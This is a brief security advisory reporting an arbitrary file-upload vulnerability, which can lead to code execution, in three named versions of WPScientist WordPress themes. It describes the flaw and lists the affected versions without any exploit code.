Multiple themes from WPScientist for WordPress are prone to an arbitrary file-upload vulnerability because it fails to adequately validate files before uploading them.

An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in an arbitrary code execution within the context of the vulnerable application.

The following themes are vulnerable:

Lightspeed version 1.1.2
Eptonic version 1.4.3
Nuance version 1.2.3
